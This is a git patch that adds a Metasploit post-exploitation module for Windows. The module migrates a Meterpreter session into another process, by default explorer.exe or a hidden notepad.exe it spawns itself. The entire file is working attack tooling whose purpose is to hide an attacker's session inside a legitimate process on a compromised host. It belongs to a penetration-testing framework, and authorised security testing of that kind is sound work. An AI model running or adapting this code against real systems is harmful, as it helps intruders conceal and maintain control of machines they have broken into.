From c7989fff39716e55f0ca2debaff1bbd0cf3e3b37 Mon Sep 17 00:00:00 2001 From: Carlos Perez Date: Mon, 21 Mar 2011 02:27:36 +0000 Subject: [PATCH] Migrate script migrated to post module. git-svn-id: file:///home/svn/framework3/trunk@12049 4d416f70-5f16-0410-b530-b9f4589650da --- modules/post/windows/manage/migrate.rb | 90 ++++++++++++++++++++++++++ 1 file changed, 90 insertions(+) create mode 100644 modules/post/windows/manage/migrate.rb diff --git a/modules/post/windows/manage/migrate.rb b/modules/post/windows/manage/migrate.rb new file mode 100644 index 0000000000..02b261bef5 --- /dev/null +++ b/modules/post/windows/manage/migrate.rb @@ -0,0 +1,90 @@ +## +# $Id$ +## + +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'rex' + + +class Metasploit3 < Msf::Post + + + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Process Migrate', + 'Description' => %q{ This module will migrate a Meterpreter session from one process to another. + A given process name can be given to migrate to or the module can spawn one + and migrate to that newly spawned process.}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Carlos Perez '], + 'Version' => '$Revision$', + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + register_options( + [ + OptBool.new('SPAWN', [ false, 'Description', false]), + OptString.new('NAME', [false, 'Description', nil]), + + + ], self.class) + end + + # Run Method for when run command is issued + def run + print_status("Running module against #{sysinfo['Computer']}") + server = client.sys.process.open + + print_status("Current server process: #{server.name} (#{server.pid})") + + target_pid = nil + + if ! datastore['SPAWN'] + # Get the target process name + if datastore['NAME'] =~ /\.exe/ + target = datastore['NAME'] + else + target = "explorer.exe" + end + print_status("Migrating to #{target}...") + + # Get the target process pid + target_pid = client.sys.process[target] + + if not target_pid + print_error("Could not access the target process") + print_status("Spawning a notepad.exe host process...") + note = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true }) + target_pid = note.pid + end + else + if datastore['NAME'] =~ /\.exe/ + target = datastore['NAME'] + else + target = "notepad.exe" + end + print_status("Spawning a #{target} host process...") + newproc = client.sys.process.execute(target, nil, {'Hidden' => true }) + target_pid = newproc.pid + if not target_pid + print_error("Could not create a process around #{target}") + raise Rex::Script::Completed + end + end + + # Do the migration + print_status("Migrating into process ID #{target_pid}") + client.core.migrate(target_pid) + server = client.sys.process.open + print_status("New server process: #{server.name} (#{server.pid})") + + end +end \ No newline at end of file